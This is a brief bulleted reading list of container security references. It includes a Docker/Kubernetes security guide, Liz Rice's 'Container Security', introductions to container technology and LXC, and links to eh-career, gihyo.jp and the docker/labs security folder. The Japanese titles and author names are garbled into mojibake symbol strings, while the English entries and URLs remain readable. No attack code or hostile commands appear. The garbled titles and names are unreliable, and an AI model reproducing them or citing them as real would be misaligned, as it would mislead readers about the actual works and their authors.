• Docker/Kubernetes։ൃɾӡ༻ͷͨΊͷηΩϡϦςΟ࣮ફΨΠυ / ਢా ӯେ, ޒेཛྷ ҁ, Ӊࠤඒ ༑
• Container Security / Liz Rice
• ίϯςφٕज़ೖ - ԾԽͱͷҧ͍ΛΓɺཁૉٕज़Λ৮ֶͬͯ΅͏
• https://eh-career.com/engineerhub/entry/2019/02/05/103000
• LXCͰֶͿίϯςφೖ ʵܰྔԾԽڥΛ࣮ݱ͢Δٕज़
• https://gihyo.jp/admin/serial/01/linux_containers
• docker/labs
• https://github.com/docker/labs/tree/master/security